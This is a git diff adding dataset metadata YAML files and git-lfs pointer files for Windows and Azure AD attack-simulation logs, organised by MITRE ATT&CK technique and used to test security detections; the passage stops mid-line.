000000000..1ac740e9e --- /dev/null +++ b/datasets/attack_techniques/T1125/salat_stealer_ffmpeg/T1125_salat_stealer_ffmpeg.yml @@ -0,0 +1,13 @@ +author: STRT +id: 193a3154-a739-4361-8e1d-0a3f5019f7b8 +date: '2026-07-11' +description: Curated attack data generated for detection Windows FFmpeg Audio and + Video Device Discovery +environment: attack_range +directory: salat_stealer_ffmpeg +mitre_technique: [] +datasets: +- name: ffmpeg_event + path: /datasets/attack_techniques/T1125/salat_stealer_ffmpeg/ffmpeg_event-193a3154-a739-4361-8e1d-0a3f5019f7b8.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1125/salat_stealer_ffmpeg/ffmpeg_event-193a3154-a739-4361-8e1d-0a3f5019f7b8.log b/datasets/attack_techniques/T1125/salat_stealer_ffmpeg/ffmpeg_event-193a3154-a739-4361-8e1d-0a3f5019f7b8.log new file mode 100644 index 000000000..753dea7e7 --- /dev/null +++ b/datasets/attack_techniques/T1125/salat_stealer_ffmpeg/ffmpeg_event-193a3154-a739-4361-8e1d-0a3f5019f7b8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:02616cc128592fbec56eb234eb4052a6077a9876f95cbb428fa2cd6028acf77a +size 2392 diff --git a/datasets/attack_techniques/T1127.001/attack_techniques_T1127.001.yml b/datasets/attack_techniques/T1127.001/attack_techniques_T1127.001.yml new file mode 100644 index 000000000..22d34c8c4 --- /dev/null +++ b/datasets/attack_techniques/T1127.001/attack_techniques_T1127.001.yml @@ -0,0 +1,12 @@ +author: STRT +id: b4f57e21-7bea-48a0-900a-3a90813bb97c +date: '2026-07-11' +description: Curated attack data generated for detection Suspicious msbuild path +environment: attack_range +directory: T1127.001 +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1127.001/windows-sysmon-b4f57e21-7bea-48a0-900a-3a90813bb97c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1127.001/regsvr32_silent/T1127.001_regsvr32_silent.yml b/datasets/attack_techniques/T1127.001/regsvr32_silent/T1127.001_regsvr32_silent.yml new file mode 100644 index 000000000..acbc97ded --- /dev/null +++ b/datasets/attack_techniques/T1127.001/regsvr32_silent/T1127.001_regsvr32_silent.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8e1ffe51-8106-4a75-9106-81b6fc6a9a02 +date: '2026-07-10' +description: Curated attack data generated for detection MSBuild Suspicious Spawned + By Script Process +environment: attack_range +directory: regsvr32_silent +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1127.001/regsvr32_silent/sysmon-8e1ffe51-8106-4a75-9106-81b6fc6a9a02.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1127.001/regsvr32_silent/sysmon-8e1ffe51-8106-4a75-9106-81b6fc6a9a02.log b/datasets/attack_techniques/T1127.001/regsvr32_silent/sysmon-8e1ffe51-8106-4a75-9106-81b6fc6a9a02.log new file mode 100644 index 000000000..37f871289 --- /dev/null +++ b/datasets/attack_techniques/T1127.001/regsvr32_silent/sysmon-8e1ffe51-8106-4a75-9106-81b6fc6a9a02.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:64a3f7f199d14fac5e4003df583e56068b11eae4ccc119d24c8b8672559c7a36 +size 3940 diff --git a/datasets/attack_techniques/T1127.001/windows-sysmon-b4f57e21-7bea-48a0-900a-3a90813bb97c.log b/datasets/attack_techniques/T1127.001/windows-sysmon-b4f57e21-7bea-48a0-900a-3a90813bb97c.log new file mode 100644 index 000000000..18cbd2124 --- /dev/null +++ b/datasets/attack_techniques/T1127.001/windows-sysmon-b4f57e21-7bea-48a0-900a-3a90813bb97c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:35a684f280ccc643431249c268211c873a570da95239cb99dfb918e32b7465f3 +size 16710 diff --git a/datasets/attack_techniques/T1127/atomic_red_team/T1127_atomic_red_team.yml b/datasets/attack_techniques/T1127/atomic_red_team/T1127_atomic_red_team.yml new file mode 100644 index 000000000..368348195 --- /dev/null +++ b/datasets/attack_techniques/T1127/atomic_red_team/T1127_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8eee46f3-f865-4905-b381-1d53be0af686 +date: '2026-07-11' +description: Curated attack data generated for detection Suspicious microsoft workflow + compiler rename +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1127/atomic_red_team/windows-sysmon-8eee46f3-f865-4905-b381-1d53be0af686.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1127/atomic_red_team/windows-sysmon-8eee46f3-f865-4905-b381-1d53be0af686.log b/datasets/attack_techniques/T1127/atomic_red_team/windows-sysmon-8eee46f3-f865-4905-b381-1d53be0af686.log new file mode 100644 index 000000000..99c4444df --- /dev/null +++ b/datasets/attack_techniques/T1127/atomic_red_team/windows-sysmon-8eee46f3-f865-4905-b381-1d53be0af686.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:81da8939a35f4f46808a538fd2904655421befc89f93824a97c225c00acac8a0 +size 28633 diff --git a/datasets/attack_techniques/T1127/etw_disable/T1127_etw_disable.yml b/datasets/attack_techniques/T1127/etw_disable/T1127_etw_disable.yml new file mode 100644 index 000000000..6ab04a704 --- /dev/null +++ b/datasets/attack_techniques/T1127/etw_disable/T1127_etw_disable.yml @@ -0,0 +1,12 @@ +author: STRT +id: 4714c8a5-b1c5-40ee-8e2e-0732a8217792 +date: '2026-07-10' +description: Curated attack data generated for detection ETW Registry Disabled +environment: attack_range +directory: etw_disable +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1127/etw_disable/sysmon-4714c8a5-b1c5-40ee-8e2e-0732a8217792.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1127/etw_disable/sysmon-4714c8a5-b1c5-40ee-8e2e-0732a8217792.log b/datasets/attack_techniques/T1127/etw_disable/sysmon-4714c8a5-b1c5-40ee-8e2e-0732a8217792.log new file mode 100644 index 000000000..7af2e4faf --- /dev/null +++ b/datasets/attack_techniques/T1127/etw_disable/sysmon-4714c8a5-b1c5-40ee-8e2e-0732a8217792.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3325419563e5f914586aad62fbba2b6d36001889431ffdc6e65a66dd6e5c370a +size 1026 diff --git a/datasets/attack_techniques/T1129/executable_shared_modules/T1129_executable_shared_modules.yml b/datasets/attack_techniques/T1129/executable_shared_modules/T1129_executable_shared_modules.yml new file mode 100644 index 000000000..492fa6132 --- /dev/null +++ b/datasets/attack_techniques/T1129/executable_shared_modules/T1129_executable_shared_modules.yml @@ -0,0 +1,13 @@ +author: STRT +id: c7c1488c-1c47-425a-a286-fc077fc8b7e0 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Executable in Loaded + Modules +environment: attack_range +directory: executable_shared_modules +mitre_technique: [] +datasets: +- name: image_loaded_exe + path: /datasets/attack_techniques/T1129/executable_shared_modules/image_loaded_exe-c7c1488c-1c47-425a-a286-fc077fc8b7e0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1129/executable_shared_modules/image_loaded_exe-c7c1488c-1c47-425a-a286-fc077fc8b7e0.log b/datasets/attack_techniques/T1129/executable_shared_modules/image_loaded_exe-c7c1488c-1c47-425a-a286-fc077fc8b7e0.log new file mode 100644 index 000000000..96f77adf1 --- /dev/null +++ b/datasets/attack_techniques/T1129/executable_shared_modules/image_loaded_exe-c7c1488c-1c47-425a-a286-fc077fc8b7e0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f2307cb3072aa70bc980d3e98d955a85aaea17dfc1a5960b8820474f5eb8e64c +size 23390 diff --git a/datasets/attack_techniques/T1129/snapattack/T1129_snapattack.yml b/datasets/attack_techniques/T1129/snapattack/T1129_snapattack.yml new file mode 100644 index 000000000..acf21d199 --- /dev/null +++ b/datasets/attack_techniques/T1129/snapattack/T1129_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: a734252e-d30e-4da6-8d1e-22805adf20af +date: '2026-07-11' +description: Curated attack data generated for detection Windows PowerShell Module + File Created +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1129/snapattack/snapattack-a734252e-d30e-4da6-8d1e-22805adf20af.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1129/snapattack/snapattack-a734252e-d30e-4da6-8d1e-22805adf20af.log b/datasets/attack_techniques/T1129/snapattack/snapattack-a734252e-d30e-4da6-8d1e-22805adf20af.log new file mode 100644 index 000000000..b2937eecb --- /dev/null +++ b/datasets/attack_techniques/T1129/snapattack/snapattack-a734252e-d30e-4da6-8d1e-22805adf20af.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2d98e0e32ace7eaab417d3188a1a8957e11edd80b8cc19266493aa02b36a7ce4 +size 1267 diff --git a/datasets/attack_techniques/T1134.001/uac_process_handle_dup/Computerdefaults_access-d9209f7d-9b4d-4292-b9d8-1ec11b1d5cd7.log b/datasets/attack_techniques/T1134.001/uac_process_handle_dup/Computerdefaults_access-d9209f7d-9b4d-4292-b9d8-1ec11b1d5cd7.log new file mode 100644 index 000000000..9175e5fc6 --- /dev/null +++ b/datasets/attack_techniques/T1134.001/uac_process_handle_dup/Computerdefaults_access-d9209f7d-9b4d-4292-b9d8-1ec11b1d5cd7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2f9d2265f105cd8bcea38d720a0eb2afd2d5894d162b5938be0ec026728b3e9e +size 3050 diff --git a/datasets/attack_techniques/T1134.001/uac_process_handle_dup/T1134.001_uac_process_handle_dup.yml b/datasets/attack_techniques/T1134.001/uac_process_handle_dup/T1134.001_uac_process_handle_dup.yml new file mode 100644 index 000000000..72ddd6dbe --- /dev/null +++ b/datasets/attack_techniques/T1134.001/uac_process_handle_dup/T1134.001_uac_process_handle_dup.yml @@ -0,0 +1,13 @@ +author: STRT +id: d9209f7d-9b4d-4292-b9d8-1ec11b1d5cd7 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Handle Duplication + in Known UAC-Bypass Binaries +environment: attack_range +directory: uac_process_handle_dup +mitre_technique: [] +datasets: +- name: Computerdefaults_access + path: /datasets/attack_techniques/T1134.001/uac_process_handle_dup/Computerdefaults_access-d9209f7d-9b4d-4292-b9d8-1ec11b1d5cd7.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1134.005/mimikatz/T1134.005_mimikatz.yml b/datasets/attack_techniques/T1134.005/mimikatz/T1134.005_mimikatz.yml new file mode 100644 index 000000000..1c648e709 --- /dev/null +++ b/datasets/attack_techniques/T1134.005/mimikatz/T1134.005_mimikatz.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5039d1a3-3dd5-4a01-a1fb-5b2b2ab7561c +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD Cross Domain SID + History Addition +environment: attack_range +directory: mimikatz +mitre_technique: [] +datasets: +- name: windows-security-xml + path: /datasets/attack_techniques/T1134.005/mimikatz/windows-security-xml-5039d1a3-3dd5-4a01-a1fb-5b2b2ab7561c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1134.005/mimikatz/windows-security-xml-5039d1a3-3dd5-4a01-a1fb-5b2b2ab7561c.log b/datasets/attack_techniques/T1134.005/mimikatz/windows-security-xml-5039d1a3-3dd5-4a01-a1fb-5b2b2ab7561c.log new file mode 100644 index 000000000..e8bfd551b --- /dev/null +++ b/datasets/attack_techniques/T1134.005/mimikatz/windows-security-xml-5039d1a3-3dd5-4a01-a1fb-5b2b2ab7561c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3e6ab246843c6eea5753311d03f30116e11b14fab783a7183d63b9d9365168ba +size 11356 diff --git a/datasets/attack_techniques/T1134.005/sid_history2/T1134.005_sid_history2.yml b/datasets/attack_techniques/T1134.005/sid_history2/T1134.005_sid_history2.yml new file mode 100644 index 000000000..0054f151d --- /dev/null +++ b/datasets/attack_techniques/T1134.005/sid_history2/T1134.005_sid_history2.yml @@ -0,0 +1,13 @@ +author: STRT +id: 55f8ea9c-b252-4615-9987-ac45b8eb7657 +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD SID History Attribute + Modified +environment: attack_range +directory: sid_history2 +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1134.005/sid_history2/windows-security-55f8ea9c-b252-4615-9987-ac45b8eb7657.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1134.005/sid_history2/windows-security-55f8ea9c-b252-4615-9987-ac45b8eb7657.log b/datasets/attack_techniques/T1134.005/sid_history2/windows-security-55f8ea9c-b252-4615-9987-ac45b8eb7657.log new file mode 100644 index 000000000..25a7c3740 --- /dev/null +++ b/datasets/attack_techniques/T1134.005/sid_history2/windows-security-55f8ea9c-b252-4615-9987-ac45b8eb7657.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:990c40f5c109143e43a26293222b89fb76fb356c01e734977f14ada60cec6ec8 +size 1442 diff --git a/datasets/attack_techniques/T1134/explorer_root_proc_cmdline/T1134_explorer_root_proc_cmdline.yml b/datasets/attack_techniques/T1134/explorer_root_proc_cmdline/T1134_explorer_root_proc_cmdline.yml new file mode 100644 index 000000000..11cc6b125 --- /dev/null +++ b/datasets/attack_techniques/T1134/explorer_root_proc_cmdline/T1134_explorer_root_proc_cmdline.yml @@ -0,0 +1,13 @@ +author: STRT +id: 90947669-3e32-4c74-8622-263ef025d1fa +date: '2026-07-11' +description: Curated attack data generated for detection Windows Parent PID Spoofing + with Explorer +environment: attack_range +directory: explorer_root_proc_cmdline +mitre_technique: [] +datasets: +- name: explorer_root + path: /datasets/attack_techniques/T1134/explorer_root_proc_cmdline/explorer_root-90947669-3e32-4c74-8622-263ef025d1fa.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1134/explorer_root_proc_cmdline/explorer_root-90947669-3e32-4c74-8622-263ef025d1fa.log b/datasets/attack_techniques/T1134/explorer_root_proc_cmdline/explorer_root-90947669-3e32-4c74-8622-263ef025d1fa.log new file mode 100644 index 000000000..0d4aa8ede --- /dev/null +++ b/datasets/attack_techniques/T1134/explorer_root_proc_cmdline/explorer_root-90947669-3e32-4c74-8622-263ef025d1fa.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:890b6d7c6dd49d4e45e8f731a1520e51909540a4e5bf934ed00847f048613a83 +size 3835 diff --git a/datasets/attack_techniques/T1135/large_number_computer_service_tickets/T1135_large_number_computer_service_tickets.yml b/datasets/attack_techniques/T1135/large_number_computer_service_tickets/T1135_large_number_computer_service_tickets.yml new file mode 100644 index 000000000..8c287ebb7 --- /dev/null +++ b/datasets/attack_techniques/T1135/large_number_computer_service_tickets/T1135_large_number_computer_service_tickets.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1c91b2dd-dcc4-4cc2-81db-1f7c75b5537b +date: '2026-07-11' +description: Curated attack data generated for detection Windows Large Number of Computer + Service Tickets Requested +environment: attack_range +directory: large_number_computer_service_tickets +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1135/large_number_computer_service_tickets/windows-security-1c91b2dd-dcc4-4cc2-81db-1f7c75b5537b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1135/large_number_computer_service_tickets/windows-security-1c91b2dd-dcc4-4cc2-81db-1f7c75b5537b.log b/datasets/attack_techniques/T1135/large_number_computer_service_tickets/windows-security-1c91b2dd-dcc4-4cc2-81db-1f7c75b5537b.log new file mode 100644 index 000000000..a79acbad9 --- /dev/null +++ b/datasets/attack_techniques/T1135/large_number_computer_service_tickets/windows-security-1c91b2dd-dcc4-4cc2-81db-1f7c75b5537b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:90c5c8e1b7b46237a87300eeec787a5089069fe089b8696e9091b52acbd228ce +size 56596 diff --git a/datasets/attack_techniques/T1135/net_share/T1135_net_share.yml b/datasets/attack_techniques/T1135/net_share/T1135_net_share.yml new file mode 100644 index 000000000..af1b9c640 --- /dev/null +++ b/datasets/attack_techniques/T1135/net_share/T1135_net_share.yml @@ -0,0 +1,13 @@ +author: STRT +id: 373866e9-f23d-41fb-9202-cc712f6cf95a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Network Share Interaction + Via Net +environment: attack_range +directory: net_share +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1135/net_share/windows-sysmon-373866e9-f23d-41fb-9202-cc712f6cf95a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1135/net_share/windows-sysmon-373866e9-f23d-41fb-9202-cc712f6cf95a.log b/datasets/attack_techniques/T1135/net_share/windows-sysmon-373866e9-f23d-41fb-9202-cc712f6cf95a.log new file mode 100644 index 000000000..211b6c78f --- /dev/null +++ b/datasets/attack_techniques/T1135/net_share/windows-sysmon-373866e9-f23d-41fb-9202-cc712f6cf95a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ccee75e768298bfa648fc8a8ceb8614a47e0e1e2b2054a5c5f334f44efe0f5cb +size 1955 diff --git a/datasets/attack_techniques/T1135/powerview_sharefinder/T1135_powerview_sharefinder.yml b/datasets/attack_techniques/T1135/powerview_sharefinder/T1135_powerview_sharefinder.yml new file mode 100644 index 000000000..6598a795a --- /dev/null +++ b/datasets/attack_techniques/T1135/powerview_sharefinder/T1135_powerview_sharefinder.yml @@ -0,0 +1,13 @@ +author: STRT +id: 88b2f7ec-9124-4806-af5b-5471b95b16cb +date: '2026-07-11' +description: Curated attack data generated for detection Windows File Share Discovery + With Powerview +environment: attack_range +directory: powerview_sharefinder +mitre_technique: [] +datasets: +- name: windows-powershell + path: /datasets/attack_techniques/T1135/powerview_sharefinder/windows-powershell-88b2f7ec-9124-4806-af5b-5471b95b16cb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1135/powerview_sharefinder/windows-powershell-88b2f7ec-9124-4806-af5b-5471b95b16cb.log b/datasets/attack_techniques/T1135/powerview_sharefinder/windows-powershell-88b2f7ec-9124-4806-af5b-5471b95b16cb.log new file mode 100644 index 000000000..3d08e7ef2 --- /dev/null +++ b/datasets/attack_techniques/T1135/powerview_sharefinder/windows-powershell-88b2f7ec-9124-4806-af5b-5471b95b16cb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:74834d583229f297af4f1077f1429d9fd1e015288013cff2fc60a2870c52a3ae +size 951 diff --git a/datasets/attack_techniques/T1135/rapid_authentication_multiple_hosts/T1135_rapid_authentication_multiple_hosts.yml b/datasets/attack_techniques/T1135/rapid_authentication_multiple_hosts/T1135_rapid_authentication_multiple_hosts.yml new file mode 100644 index 000000000..0fbbdf5fa --- /dev/null +++ b/datasets/attack_techniques/T1135/rapid_authentication_multiple_hosts/T1135_rapid_authentication_multiple_hosts.yml @@ -0,0 +1,13 @@ +author: STRT +id: bca77d7d-1017-4b5f-905d-3d3cf39ad9cb +date: '2026-07-11' +description: Curated attack data generated for detection Windows Rapid Authentication + On Multiple Hosts +environment: attack_range +directory: rapid_authentication_multiple_hosts +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1135/rapid_authentication_multiple_hosts/windows-security-bca77d7d-1017-4b5f-905d-3d3cf39ad9cb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1135/rapid_authentication_multiple_hosts/windows-security-bca77d7d-1017-4b5f-905d-3d3cf39ad9cb.log b/datasets/attack_techniques/T1135/rapid_authentication_multiple_hosts/windows-security-bca77d7d-1017-4b5f-905d-3d3cf39ad9cb.log new file mode 100644 index 000000000..302e5cfec --- /dev/null +++ b/datasets/attack_techniques/T1135/rapid_authentication_multiple_hosts/windows-security-bca77d7d-1017-4b5f-905d-3d3cf39ad9cb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fe3df663d83ebce44aefe4f579252fcd2c6b6436f23f0622463e6c9731e02363 +size 142053 diff --git a/datasets/attack_techniques/T1136.001/atomic_red_team/4720-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log b/datasets/attack_techniques/T1136.001/atomic_red_team/4720-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log new file mode 100644 index 000000000..3f2c7c7d7 --- /dev/null +++ b/datasets/attack_techniques/T1136.001/atomic_red_team/4720-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e7c0642838f0af5ea9d7e6c901a10e01581ab94c34dc6bd672697e8476247d51 +size 1559 diff --git a/datasets/attack_techniques/T1136.001/atomic_red_team/T1136.001_atomic_red_team.yml b/datasets/attack_techniques/T1136.001/atomic_red_team/T1136.001_atomic_red_team.yml new file mode 100644 index 000000000..75e8df364 --- /dev/null +++ b/datasets/attack_techniques/T1136.001/atomic_red_team/T1136.001_atomic_red_team.yml @@ -0,0 +1,28 @@ +author: STRT +id: de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Create Local Account +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: '4720' + path: /datasets/attack_techniques/T1136.001/atomic_red_team/4720-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: windows-sysmon + path: /datasets/attack_techniques/T1136.001/atomic_red_team/windows-sysmon-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-security-esxadmins + path: /datasets/attack_techniques/T1136.001/atomic_red_team/windows-security-esxadmins-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log + sourcetype: XmlWinEventLog + source: Security +- name: windows-sysmon-esxadmins + path: /datasets/attack_techniques/T1136.001/atomic_red_team/windows-sysmon-esxadmins-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-powershell-esxadmins + path: /datasets/attack_techniques/T1136.001/atomic_red_team/windows-powershell-esxadmins-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1136.001/atomic_red_team/windows-powershell-esxadmins-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log b/datasets/attack_techniques/T1136.001/atomic_red_team/windows-powershell-esxadmins-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log new file mode 100644 index 000000000..ad8f8755e --- /dev/null +++ b/datasets/attack_techniques/T1136.001/atomic_red_team/windows-powershell-esxadmins-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1071001c87e19ada452f8f89f0d799d14feadc6e43cb90395ea54e8ceef9c9cf +size 1989 diff --git a/datasets/attack_techniques/T1136.001/atomic_red_team/windows-security-esxadmins-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log b/datasets/attack_techniques/T1136.001/atomic_red_team/windows-security-esxadmins-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log new file mode 100644 index 000000000..e306e7e57 --- /dev/null +++ b/datasets/attack_techniques/T1136.001/atomic_red_team/windows-security-esxadmins-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:22ddf275b46351d543a844e31432de4d4756867a57325ecc2a9b92bfaded6980 +size 6396 diff --git a/datasets/attack_techniques/T1136.001/atomic_red_team/windows-sysmon-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log b/datasets/attack_techniques/T1136.001/atomic_red_team/windows-sysmon-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log new file mode 100644 index 000000000..624309b58 --- /dev/null +++ b/datasets/attack_techniques/T1136.001/atomic_red_team/windows-sysmon-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:580ce2f5cdf3f4f1d1c51667b347f9ca7569635f676052ed530da414003d4688 +size 1990 diff --git a/datasets/attack_techniques/T1136.001/atomic_red_team/windows-sysmon-esxadmins-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log b/datasets/attack_techniques/T1136.001/atomic_red_team/windows-sysmon-esxadmins-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log new file mode 100644 index 000000000..d2eb76f5d --- /dev/null +++ b/datasets/attack_techniques/T1136.001/atomic_red_team/windows-sysmon-esxadmins-de76bb9a-ba5d-48c0-ac90-4cebd82ee7b9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9f2c180f97d8ec4ddb92345c7c10dc7fa9aaee2854019951abf5d816783a8b06 +size 3964 diff --git a/datasets/attack_techniques/T1136.003/azure_ad_add_service_principal/T1136.003_azure_ad_add_service_principal.yml b/datasets/attack_techniques/T1136.003/azure_ad_add_service_principal/T1136.003_azure_ad_add_service_principal.yml new file mode 100644 index 000000000..6acb2ade0 --- /dev/null +++ b/datasets/attack_techniques/T1136.003/azure_ad_add_service_principal/T1136.003_azure_ad_add_service_principal.yml @@ -0,0 +1,13 @@ +author: STRT +id: 53168b32-b70e-458e-8a19-614dd5711a57 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Service Principal + Created +environment: attack_range +directory: azure_ad_add_service_principal +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1136.003/azure_ad_add_service_principal/azure-audit-53168b32-b70e-458e-8a19-614dd5711a57.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1136.003/azure_ad_add_service_principal/azure-audit-53168b32-b70e-458e-8a19-614dd5711a57.log b/datasets/attack_techniques/T1136.003/azure_ad_add_service_principal/azure-audit-53168b32-b70e-458e-8a19-614dd5711a57.log new file mode 100644 index 000000000..866fd3436 --- /dev/null +++ b/datasets/attack_techniques/T1136.003/azure_ad_add_service_principal/azure-audit-53168b32-b70e-458e-8a19-614dd5711a57.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c0f2fd803d7b2edf6fda3590f007c14e982e71f35c95cb313eed86004bf819a1 +size 7092 diff --git a/datasets/attack_techniques/T1136.003/azure_ad_external_guest_user_invited/T1136.003_azure_ad_external_guest_user_invited.yml b/datasets/attack_techniques/T1136.003/azure_ad_external_guest_user_invited/T1136.003_azure_ad_external_guest_user_invited.yml new file mode 100644 index 000000000..8c5f8635d --- /dev/null +++ b/datasets/attack_techniques/T1136.003/azure_ad_external_guest_user_invited/T1136.003_azure_ad_external_guest_user_invited.yml @@ -0,0 +1,13 @@ +author: STRT +id: 71002f68-160b-4d17-86f0-2460c89b3ecd +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD External Guest User + Invited +environment: attack_range +directory: azure_ad_external_guest_user_invited +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1136.003/azure_ad_external_guest_user_invited/azure-audit-71002f68-160b-4d17-86f0-2460c89b3ecd.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1136.003/azure_ad_external_guest_user_invited/azure-audit-71002f68-160b-4d17-86f0-2460c89b3ecd.log b/datasets/attack_techniques/T1136.003/azure_ad_external_guest_user_invited/azure-audit-71002f68-160b-4d17-86f0-2460c89b3ecd.log new file mode 100644 index 000000000..9bae958f1 --- /dev/null +++ b/datasets/attack_techniques/T1136.003/azure_ad_external_guest_user_invited/azure-audit-71002f68-160b-4d17-86f0-2460c89b3ecd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid 